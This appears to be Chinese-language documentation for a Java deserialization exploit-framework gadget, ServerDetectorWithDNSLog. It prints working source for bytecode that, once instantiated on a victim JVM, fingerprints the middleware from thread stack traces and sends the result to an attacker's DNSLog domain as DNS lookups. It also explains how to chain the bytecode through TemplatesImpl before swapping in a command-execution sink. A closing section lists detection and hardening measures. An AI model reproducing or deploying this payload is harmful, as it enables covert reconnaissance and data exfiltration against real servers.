Skip to content

Latest commit

 

History

History
131 lines (115 loc) · 11 KB

File metadata and controls

131 lines (115 loc) · 11 KB

生成使用dnslog探测中间件的字节码(ServerDetectorWithDNSLog)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:—
  • 依赖:无(仅需目标 JVM 能加载该字节码并可出网 DNS 解析)

作用

生成一段字节码 sink:其类被加载实例化时,遍历当前 JVM 里所有线程的调用栈,按包名/类名特征识别目标运行的中间件/Web 容器类型(Tomcat、WebLogic、Resin、Jetty、WebSphere、Undertow、GlassFish、Spring、以及东方通 TongWeb、宝兰德 BES、金蝶、普元、中创等国产中间件),再把识别结果作为子域名前缀,通过一次 DNS 解析回传到攻击者指定的 DNSLog 域名。用于在盲打(无回显)反序列化场景中,先摸清「打中的是什么容器」,为后续选择精准利用链提供情报。

链接标签

  • 入口 tags
    • Bytecode —— 声明本 gadget 产出原始字节码 byte[],可被 nextTags=Bytecode 的字节码加载器 BytecodeConvert 承接(后者再包进 TemplatesImpl 等装载点)。
    • END —— 链终止标签,本 gadget 是最内层 sink,自身不再向内包装其它对象。
  • 衔接 nextTags:空 —— 自身即字节码源头,链在此收尾。
  • excludes:无。

源码剖析

gadget 本体极薄,只做「取模板字节码 → 回填域名 → 返回 byte[]」:

@Param(name="域名", description="把检测到的中间件通过dnslog回显,eg: x.dnslog.cn")
public String domain = "xxx.dnslog.cn";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(ServerDetectorWithDNSLogBytecode.class);
    javassistHelper.modifyStringField("domain", this.domain);   // 改写模板类里的静态字段 domain
    byte[] bytecode = javassistHelper.getBytecode();
    return bytecode;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // 遵守「由内向外」约定:本类为 END,doCreate 通常无内层产物
    return this.getObject();
}

JavassistHelper 载入模板类 ServerDetectorWithDNSLogBytecode 的字节码,modifyStringField("domain", this.domain) 通过 Javassist 直接把模板类里 public static String domain 字段的值改写为用户填入的 DNSLog 域名,无需重新编译源码,改写后 getBytecode() 返回最终 byte[]。真正执行探测逻辑的是这段被改写的模板类。

触发点在构造器(不同于 DNSLogstatic{} 静态块):

public class ServerDetectorWithDNSLogBytecode {
    public static String domain;

    public ServerDetectorWithDNSLogBytecode() {
        ServerDetectorWithDNSLogBytecode.sendServerType();   // 无参构造器即触发探测
    }
    ...
}

当上游加载器(典型如 TemplatesImpl.newTransformer()defineClassnewInstance())实例化该类时,JVM 调用其无参构造器,进而调用 sendServerType()

第一步:识别中间件类型 —— getServerType() 扫描全体线程调用栈:

public static ArrayList<String> getServerType() {
    ArrayList<String> serverTypes = new ArrayList<String>();
    Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();   // 拿到所有线程栈
    for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
        for (StackTraceElement element : entry.getValue()) {
            if (element.getClassName().contains("org.apache.catalina.core")) serverTypes.add("tomcat");
            if (element.getClassName().contains("weblogic.servlet.internal")) serverTypes.add("weblogic");
            if (element.getClassName().contains("com.caucho.server"))         serverTypes.add("resin");
            if (element.getClassName().contains("org.eclipse.jetty.server"))  serverTypes.add("jetty");
            if (element.getClassName().contains("com.ibm.ws"))                serverTypes.add("websphere");
            if (element.getClassName().contains("io.undertow.server"))        serverTypes.add("undertow");
            if (element.getClassName().contains("org.glassfish.jersey.server")) serverTypes.add("glassfish");
            if (element.getClassName().contains("com.tongweb.web"))           serverTypes.add("tongweb");
            if (element.getClassName().contains("com.bes.enterprise"))        serverTypes.add("bes");
            if (element.getClassName().contains("coldfusion"))                serverTypes.add("coldfusion");
            if (element.getClassName().contains("com.cvicse.enterprise"))     serverTypes.add("cvicse");
            if (element.getClassName().contains("com.primeton.appserver"))    serverTypes.add("primeton");
            if (element.getClassName().contains("com.apusic.web"))            serverTypes.add("apusic");
            if (element.getClassName().contains("com.kingdee"))               serverTypes.add("kingdee");
            if (element.getClassName().contains("NettyHttpServerHandler"))    serverTypes.add("NettyHttpServerHandler");
            if (element.getClassName().contains("ChannelHandler"))            serverTypes.add("ChannelHandler");
            if (!element.getClassName().contains("org.springframework.web")) continue;
            serverTypes.add("spring");
        }
        if (serverTypes.size() <= 7) continue;   // 每处理完一个线程栈,若累计命中已 >7 就提前返回
        return serverTypes;
    }
    if (serverTypes.size() == 0) serverTypes.add("none");   // 一个都没识别到,回传 "none"
    return serverTypes;
}

识别原理:反序列化触发点通常发生在 Web 请求处理线程中,容器/框架的核心类(如 Tomcat 的 org.apache.catalina.core.*、Spring 的 org.springframework.web.*)会出现在当前线程的调用栈里;遍历 Thread.getAllStackTraces() 覆盖到请求线程即可命中。命中的是子串匹配contains),因此同一容器可能被多个栈帧重复计入,serverTypes 里会有重复项——size() <= 7 的早退门限只是一个「命中足够多就不必再扫」的启发式,并非去重。若全部线程栈都未命中,回传单元素 "none"

第二步:把结果经 DNS 外带 —— sendServerType() 把每个识别结果拼成子域名并解析:

private static void sendServerType() {
    ArrayList<String> serverTypes = ServerDetectorWithDNSLogBytecode.getServerType();
    try {
        for (int i = 0; i < serverTypes.size(); ++i) {
            String obj = serverTypes.get(i);
            String domain_ = String.format("%s.%d.%s", obj, System.nanoTime(), domain);  // 形如 tomcat.<nanoTime>.xxx.dnslog.cn
            InetAddress.getAllByName(domain_);   // 触发 DNS 解析,把类型带出
        }
    } catch (UnknownHostException unknownHostException) {
        // 静默吞异常,不产生报错噪声
    }
}

子域名格式 <serverType>.<System.nanoTime()>.<domain>:中间嵌入 nanoTime() 是为了让每条记录唯一、避免 DNS/JVM 缓存导致的解析被合并,从而保证每个类型都能在 DNSLog 平台留下独立记录。InetAddress.getAllByName 只需发起解析、不关心是否解析成功,异常被静默丢弃,不影响探测也不留报错噪声。攻击者在 DNSLog 后台读取诸如 tomcat.xxxxx.xxx.dnslog.cnspring.xxxxx.xxx.dnslog.cn 的解析记录,即可判定目标中间件类型与出网能力。

与同族 sink 的定位差异:DNSLog 只解析裸域名,仅验证「字节码是否被执行 + 能否出网」;DNSLogWithInfo/DNSLogAndHttp 外带链名/系统信息;而本类专注中间件指纹识别,把容器类型编码进 DNS 子域名,服务于「先识别环境、再挑利用链」的打法。

参数(@Param)

字段 名称 说明 类型 默认 可选值
domain 域名 把检测到的中间件通过 dnslog 回显,形如 x.dnslog.cn;探测结果以 <类型>.<nanoTime>.<domain> 子域名解析回传 String xxx.dnslog.cn 任意可控 DNSLog 域名

适用版本与原理要点

  • 依赖无关、跨 JDK 通用:不引第三方库,逻辑只用 Thread.getAllStackTraces() + InetAddress.getAllByName() 等 JDK 标准 API;只要目标能加载并实例化该字节码、且能出网 DNS 解析即可。
  • 触发依赖构造器调用:探测在无参构造器中发生,故加载方式必须触发实例化(如 TemplatesImplnewInstance);仅 defineClass 而不实例化不会触发。
  • 识别准确性依赖调用上下文:必须在包含容器/框架栈帧的线程中被触发才能命中;若在无关工作线程或纯离线环境反序列化,可能只回传 none。子串 contains 匹配也可能因类路径重命名/shade 而漏判或误判。
  • 覆盖面广,除主流开源容器外,特别纳入 TongWeb、BES、金蝶、普元、中创、Apusic 等国产中间件特征,适配国内红队信创环境探测。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动与 BytecodeConvert 组合成 [BytecodeConvert, ServerDetectorWithDNSLog],再由 TemplatesImpl 之类装载点加载执行;也可作为任意「字节码通道已打通」链条的探测型链尾 sink。

关联

  • 上游加载器(承接 Bytecode):BytecodeConvertTemplatesImpldefineClass + newInstance 触发构造器)。
  • 同族 DNS 探测 sink:DNSLog(最朴素的出网验证)、DNSLogWithInfo(外带链/系统信息)、DNSLogAndHttp(DNS+HTTP 双通道回传环境)。
  • 近亲:ServerInfoHttpDnsLog(同为「探测中间件」,但可把内容发送到 IP:PORT 或 DNSLog,回传通道更灵活)。
  • 功能对位的 RCE sink:Exec(确认环境后替换本探测 sink,实施真正命令执行)。

防御与检测

  • 流量/DNS 检测:监控出站 DNS 请求中形如 <容器名>.<数字>.<域名> 的可疑子域名,尤其 tomcat.*weblogic.*spring.*websphere.* 等中间件关键字拼接短生命周期随机数(nanoTime)指向外部 DNSLog 类域名(dnslog.cn*.oast.* 等);此类解析几乎无正常业务用途。
  • 主机侧特征:应用进程在处理反序列化请求时短时间内对同一父域发起多条不同子域的 DNS 解析、且伴随反射式类加载(TemplatesImpl.defineTransletClasses / defineClass)是强信号。
  • 根因加固:本探测只是侦察前哨,真正的口子是可被利用的反序列化入口——
    • 升级/禁用存在 gadget 的组件,收敛反序列化白名单(如启用 JEP 290 ObjectInputFilter)。
    • 拦截 TemplatesImpl 反序列化与运行时 defineClass 加载不可信字节码。
    • 出口侧对生产服务器实施 DNS 出网管控/审计,切断 DNSLog 外带回显信道,使盲打探测失效。